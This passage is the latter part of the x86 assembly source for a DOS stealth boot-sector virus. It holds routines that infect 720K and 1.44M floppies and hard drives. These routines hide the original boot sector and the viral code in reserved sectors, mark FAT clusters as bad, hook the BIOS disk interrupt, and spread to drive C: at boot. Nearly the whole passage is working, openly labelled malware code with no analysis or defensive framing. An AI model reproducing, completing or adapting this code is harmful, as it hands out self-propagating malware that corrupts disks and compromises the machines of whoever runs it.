  805.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  806.         jc      INF720K_EXIT
  807.  
  808.         mov     di,OFFSET SCRATCHBUF + 44       ;modify the FAT in RAM
  809.         mov     ax,7FF7H                        ;marking the last 3 clusters
  810.         stosw                                   ;as bad
  811.         mov     ax,0F7FFH
  812.         stosw
  813.         mov     ax,0FFFH
  814.         stosw
  815.  
  816.         mov     ax,0301H                        ;now write the FAT back to disk
  817.         mov     cx,4                            ;at track 0, sector 4, head 0
  818.         pushf
  819.         call    DWORD PTR [OLD_13H]
  820.         jc      INF720K_EXIT
  821.  
  822.         mov     ax,0301H                        ;do second FAT too
  823.         mov     cx,7                            ;at track 0, sector 7, head 0
  824.         pushf
  825.         call    DWORD PTR [OLD_13H]
  826.  
  827. INF720K_EXIT:
  828.         ret                                     ;all done
  829.  
  830.  
  831. ;*******************************************************************************
  832. ;This routine infects a 1.44 megabyte 3 1/2" diskette. It is essentially the
  833. ;same as infecting a 720K diskette, except that the virus is placed in sectors
  834. ;13-17 on Track 79, Head 0, and the original boot sector is placed in Sector 18.
  835.  
  836. INFECT_144M:
  837.         mov     bx,OFFSET SCRATCHBUF            ;go write boot sec at
  838.         push    ax
  839.         mov     dl,al
  840.         mov     dh,1                            ;head 1
  841.         mov     cx,4F12H                        ;track 79, sector 18
  842.         mov     ax,0301H                        ;BIOS write, for 1 sector
  843.         pushf
  844.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  845.         pop     ax
  846.         jc      INF144M_EXIT
  847.  
  848.         push    ax
  849.         mov     di,OFFSET BOOT_DATA
  850. ;       mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
  851.     mov    si,OFFSET SB_BOOT_DATA        ;required instead of ^ for A86
  852.  
  853.         mov     cx,32H / 2                      ;copy boot sector disk info over
  854.         rep     movsw                           ;to new boot sector
  855.         mov     al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
  856.         mov     BYTE PTR [BOOT_START + 1FDH],al
  857.         mov     BYTE PTR [DR_FLAG],3            ;set proper diskette type
  858.         pop     ax
  859.  
  860.         push    ax                              ;and write new boot sector to disk
  861.         mov     bx,OFFSET BOOT_START
  862.         call    PUT_BOOT_SEC                    ;go write it to disk
  863.         pop     ax
  864.         jc      INF144M_EXIT
  865.  
  866.         mov     bx,OFFSET STEALTH               ;buffer for 5 sectors of stealth
  867.         mov     dl,al                           ;drive to write to
  868.         mov     dh,1                            ;head 1
  869.         mov     cx,4F0DH                        ;track 79, sector 13
  870.         mov     ax,0305H                        ;write 5 sectors
  871.         pushf
  872.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  873.  
  874.         mov     bx,OFFSET SCRATCHBUF            ;now modify the FAT
  875.         mov     ax,0201H                        ;first read 1 sector
  876.         mov     cx,0AH                          ;track 0, sector 10, head 0
  877.         mov     dh,0
  878.         pushf
  879.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  880.         jc      INF144M_EXIT
  881.  
  882.         mov     di,OFFSET SCRATCHBUF + 0A8H     ;modify the FAT in RAM
  883.         mov     ax,es:[di]
  884.         and     ax,000FH
  885.         add     ax,0FF70H
  886.         stosw
  887.         mov     ax,07FF7H                       ;marking the last 6 clusters
  888.         stosw                                   ;as bad
  889.         mov     ax,0F7FFH
  890.         stosw
  891.         mov     ax,0FF7FH
  892.         stosw
  893.         mov     ax,0FF7H
  894.         stosw
  895.  
  896.         mov     ax,0301H                        ;now write the FAT back to disk
  897.         mov     cx,0AH                          ;at track 0, sector 10, head 0
  898.         pushf
  899.         call    DWORD PTR [OLD_13H]
  900.         jc      INF144M_EXIT
  901.  
  902.         mov     ax,0301H                        ;do second FAT too
  903.         mov     cx,1                            ;at track 0, sector 1, head 1
  904.         mov     dh,1
  905.         pushf
  906.         call    DWORD PTR [OLD_13H]
  907.  
  908.  
  909. INF144M_EXIT:
  910.         ret                                     ;all done
  911.  
  912.  
  913. ;*******************************************************************************
  914. ;Infect Hard Disk Drive AL with this virus. This involves the following steps:
  915. ;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
  916. ;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy
  917. ;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the STEALTH
  918. ;routines to Track 0, Head 0, Sector 2, 5 sectors total.
  919.  
  920. INFECT_HARD:
  921.         mov     al,80H                          ;set drive type flag to hard disk
  922.         mov     BYTE PTR [DR_FLAG],al           ;cause that's where it's going
  923.  
  924.         call    GET_BOOT_SEC                    ;read the present boot sector
  925.  
  926.         mov     bx,OFFSET SCRATCHBUF            ;and go write it at
  927.         push    ax
  928.         mov     dl,al
  929.         mov     dh,0                            ;head 0
  930.         mov     cx,0007H                        ;track 0, sector 7
  931.         mov     ax,0301H                        ;BIOS write, for 1 sector
  932.         pushf
  933.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  934.         pop     ax
  935.  
  936.         push    ax
  937.         mov     di,OFFSET BOOT_DATA
  938. ;       mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
  939.     mov    si,OFFSET SB_BOOT_DATA        ;required instead of ^ for A86
  940.  
  941.         mov     cx,32H / 2                      ;copy boot sector disk info over
  942.         rep     movsw                           ;to new boot sector
  943.         mov     di,OFFSET BOOT_START + 200H - 42H
  944.         mov     si,OFFSET SCRATCHBUF + 200H - 42H
  945.         mov     cx,21H                          ;copy partition table
  946.         rep     movsw                           ;to new boot sector too!
  947.         pop     ax
  948.  
  949.         push    ax                              ;and write viral boot sector
  950.         mov     bx,OFFSET BOOT_START
  951.         call    PUT_BOOT_SEC
  952.         pop     ax
  953.  
  954.         mov     bx,OFFSET STEALTH               ;buffer for 5 sectors of stealth
  955.         mov     dl,al                           ;drive to write to
  956.         mov     dh,0                            ;head 0
  957.         mov     cx,0002H                        ;track 0, sector 2
  958.         mov     ax,0305H                        ;write 5 sectors
  959.         pushf
  960.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  961.  
  962.         ret
  963.  
  964.  
  965. ;*******************************************************************************
  966. ;This routine determines if a hard drive C: exists, and returns NZ if it does,
  967. ;Z if it does not.
  968. IS_HARD_THERE:
  969.         push    ds
  970.         xor     ax,ax
  971.         mov     ds,ax
  972.         mov     bx,475H                         ;Get hard disk count from bios
  973.         mov     al,[bx]                         ;put it in al
  974.         pop     ds
  975.         cmp     al,0                            ;and see if al=0 (no drives)
  976.         ret
  977.  
  978.  
  979. ;*******************************************************************************
  980. ;Read the boot sector on the drive AL into SCRATCHBUF. This routine must
  981. ;prserve AL!
  982.  
  983. GET_BOOT_SEC:
  984.         push    ax
  985.         mov     bx,OFFSET SCRATCHBUF            ;buffer for the boot sector
  986.         mov     dl,al                           ;this is the drive to read from
  987.         mov     dh,0                            ;head 0
  988.         mov     ch,0                            ;track 0
  989.         mov     cl,1                            ;sector 1
  990.         mov     al,1                            ;read 1 sector
  991.         mov     ah,2                            ;BIOS read function
  992.         pushf
  993.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  994.         pop     ax
  995.         ret
  996.  
  997.  
  998. ;*******************************************************************************
  999. ;This routine writes the data at es:bx to the drive in al at Track 0,
  1000. ;Head 0, Sector 1 for 1 sector, making that data the new boot sector.
  1001.  
  1002. PUT_BOOT_SEC:
  1003.         mov     dl,al                           ;this is the drive to write to
  1004.         mov     dh,0                            ;head 0
  1005.         mov     ch,0                            ;track 0
  1006.         mov     cl,1                            ;sector 1
  1007.         mov     al,1                            ;read 1 sector
  1008.         mov     ah,3                            ;BIOS write function
  1009.         pushf
  1010.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  1011.         ret
  1012.  
  1013.  
  1014. ;*******************************************************************************
  1015. ;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
  1016. ;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,
  1017. ;are checked to see if they are identical. If so, it must be the viral boot
  1018. ;sector. It is assumed that es and ds are properly set to this segment when
  1019. ;this is called.
  1020.  
  1021. IS_VBS:
  1022.         push    si                              ;save these
  1023.         push    di
  1024.         cld
  1025.         mov     di,OFFSET BOOT                  ;set up for a compare
  1026. ;       mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT - OFFSET BOOT_START)
  1027.     mov    si,OFFSET SB_BOOT        ;required instead of ^ for A86
  1028.  
  1029.         mov     cx,15
  1030.         repz    cmpsw                           ;compare 30 bytes
  1031.         pop     di                              ;restore these
  1032.         pop     si
  1033.         ret                                     ;and return with z properly set
  1034.  
  1035.  
  1036. ;*******************************************************************************
  1037. ;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES                              *
  1038. ;*******************************************************************************
  1039.  
  1040.         ORG     7A00H
  1041.  
  1042. SCRATCHBUF:                       ;a total of 512 bytes
  1043.     DB    3 dup (0)
  1044. SB_BOOT_DATA:                    ;with references to correspond
  1045.     DB    32H dup (0)            ;to various areas in the boot
  1046. SB_DR_FLAG:                    ;sector at 7C00
  1047.     DB    0                ;these are only needed by A86
  1048. SB_BOOT:                    ;tasm and masm will let you
  1049.         DB      458 dup (0)            ;just do "db 512 dup (0)"
  1050.  
  1051.  
  1052. ;*******************************************************************************
  1053. ;* THIS IS THE REPLACEMENT (VIRAL) BOOT SECTOR                                 *
  1054. ;*******************************************************************************
  1055.  
  1056.         ORG     7C00H                           ;Starting location for boot sec
  1057.  
  1058.  
  1059. BOOT_START:
  1060.         jmp     SHORT BOOT                      ;jump over data area
  1061.         db      090H                            ;an extra byte for near jump
  1062.  
  1063.  
  1064. BOOT_DATA:
  1065.         db      32H dup (?)                     ;data area and default dbt
  1066.                                                 ;(copied from orig boot sector)
  1067.  
  1068. DR_FLAG:DB      0                               ;Drive type flag, 0=360K Floppy
  1069.                                                 ;                 1=1.2M Floppy
  1070.                                                 ;                 2=720K Floppy
  1071.                                                 ;                 3=1.4M Floppy
  1072.                                                 ;                 80H=Hard Disk
  1073.  
  1074. ;The boot sector code starts here
  1075. BOOT:
  1076.         cli                                     ;interrupts off
  1077.         xor     ax,ax
  1078.         mov     ss,ax
  1079.         mov     ds,ax
  1080.         mov     es,ax                           ;set up segment registers
  1081.         mov     sp,OFFSET BOOT_START            ;and stack pointer
  1082.         sti
  1083.  
  1084.         mov     ax,[MEMSIZE]                    ;get size of memory available
  1085.         mov     cl,6                            ;on this system, in Kilobytes
  1086.         shl     ax,cl                           ;convert KBytes into a segment
  1087.         sub     ax,7E0H                         ;subtract enough so this code
  1088.         mov     es,ax                           ;will have the right offset to
  1089.         sub     [MEMSIZE],4                     ;go memory resident in high ram
  1090.  
  1091. GO_RELOC:
  1092.         mov     si,OFFSET BOOT_START            ;set up ds:si and es:di in order
  1093.         mov     di,si                           ;to relocate this code
  1094.         mov     cx,256                          ;to high memory
  1095.         rep     movsw                           ;and go move this sector
  1096.         push    es
  1097.         mov     ax,OFFSET RELOC
  1098.         push    ax                              ;push new far @RELOC onto stack
  1099.         retf                                    ;and go there with retf
  1100.  
  1101. RELOC:                                          ;now we're in high memory
  1102.         push    es                              ;so let's install the virus
  1103.         pop     ds
  1104.         mov     bx,OFFSET STEALTH               ;set up buffer to read virus
  1105.         mov     al,BYTE PTR [DR_FLAG]           ;drive number
  1106.         cmp     al,0                            ;Load from proper drive type
  1107.         jz      LOAD_360
  1108.         cmp     al,1
  1109.         jz      LOAD_12M
  1110.         cmp     al,2
  1111.         jz      LOAD_720
  1112.         cmp     al,3
  1113.         jz      LOAD_14M                        ;if none of the above,
  1114.                                                 ;then it's a hard disk
  1115.  
  1116. LOAD_HARD:                                      ;load virus from hard disk
  1117.         mov     dx,80H                          ;hard drive 80H, head 0,
  1118.         mov     ch,0                            ;track 0,
  1119.         mov     cl,2                            ;start at sector 2
  1120.         jmp     SHORT LOAD1
  1121.  
  1122. LOAD_360:                                       ;load virus from 360 K floppy
  1123.         mov     ch,40                           ;track 40
  1124.         mov     cl,1                            ;start at sector 1
  1125.         jmp     SHORT LOAD
  1126.  
  1127. LOAD_12M:                                       ;load virus from 1.2 Meg floppy
  1128.         mov     ch,80                           ;track 80
  1129.         mov     cl,1                            ;start at sector 1
  1130.         jmp     SHORT LOAD
  1131.  
  1132. LOAD_720:                                       ;load virus from 720K floppy
  1133.         mov     ch,79                           ;track 79
  1134.         mov     cl,4                            ;start at sector 4
  1135.         jmp     SHORT LOAD                      ;go do it
  1136.  
  1137. LOAD_14M:                                       ;load from 1.44 Meg floppy
  1138.         mov     ch,79                           ;track 79
  1139.         mov     cl,13                           ;start at sector 13
  1140. ;       jmp     SHORT LOAD                      ;go do it
  1141.  
  1142. LOAD:   mov     dx,100H                         ;disk 0, head 1
  1143. LOAD1:  mov     ax,206H                         ;read 6 sectors
  1144.         int     13H                             ;call BIOS to read it
  1145.  
  1146. MOVE_OLD_BS:
  1147.         xor     ax,ax                           ;now move old boot sector into
  1148.         mov     es,ax                           ;low memory
  1149.         mov     si,OFFSET SCRATCHBUF            ;at 0000:7C00
  1150.         mov     di,OFFSET BOOT_START
  1151.         mov     cx,256
  1152.         rep     movsw
  1153.  
  1154. SET_SEGMENTS:                                   ;change segments around a bit
  1155.         cli
  1156.         mov     ax,cs
  1157.         mov     ss,ax
  1158.         mov     sp,OFFSET STEALTH               ;set up the stack for the virus
  1159.         push    cs                              ;and also the es register
  1160.         pop     es
  1161.  
  1162. INSTALL_INT13H:                                 ;now hook the Disk BIOS int
  1163.         xor     ax,ax
  1164.         mov     ds,ax
  1165.         mov     si,13H*4                        ;save the old int 13H vector
  1166.         mov     di,OFFSET OLD_13H
  1167.         movsw
  1168.         movsw
  1169.         mov     ax,OFFSET INT_13H               ;and set up new interrupt 13H
  1170.         mov     bx,13H*4                        ;which everybody will have to
  1171.         mov     ds:[bx],ax                      ;use from now on
  1172.         mov     ax,es
  1173.         mov     ds:[bx+2],ax
  1174.         sti
  1175.  
  1176. CHECK_DRIVE:
  1177.         push    cs                              ;set ds to point here now
  1178.         pop     ds
  1179.         cmp     BYTE PTR [DR_FLAG],80H          ;if booting from a hard drive,
  1180.         jz      DONE                            ;nothing else needed at boot
  1181.  
  1182. FLOPPY_DISK:                                    ;if loading from a floppy drive,
  1183.         call    IS_HARD_THERE                   ;see if a hard disk exists here
  1184.         jz      DONE                            ;no hard disk, all done booting
  1185.         mov     al,80H                          ;else load boot sector from C:
  1186.         call    GET_BOOT_SEC                    ;into SCRATCHBUF
  1187.         call    IS_VBS                          ;and see if C: is infected
  1188.         jz      DONE                            ;yes, all done booting
  1189.         call    INFECT_HARD                     ;else go infect hard drive C:
  1190.  
  1191. DONE:
  1192.         mov     si,OFFSET PART                  ;clean partition data out of
  1193.         mov     di,OFFSET PART+1                ;memory image of boot sector
  1194.         mov     cx,3FH                          ;so it doesn't get spread to
  1195.         mov     BYTE PTR [si],0                 ;floppies when we infect them
  1196.         rep     movsb
  1197.  
  1198.         xor     ax,ax                           ;now go execute old boot sector
  1199.         push    ax                              ;at 0000:7C00
  1200.         mov     ax,OFFSET BOOT_START
  1201.         push    ax
  1202.         retf
  1203.  
  1204.  
  1205.         ORG     7DBEH
  1206.  
  1207. PART:   DB      40H dup (?)                     ;partition table goes here
  1208.  
  1209.         ORG     7DFEH
  1210.  
  1211.         DB      55H,0AAH                        ;boot sector ID goes here
  1212.  
  1213. ENDCODE:                                        ;label for the end of boot sec
  1214.  
  1215. COMSEG  ENDS
  1216.  
  1217.         END     START
  1218.  
  1219.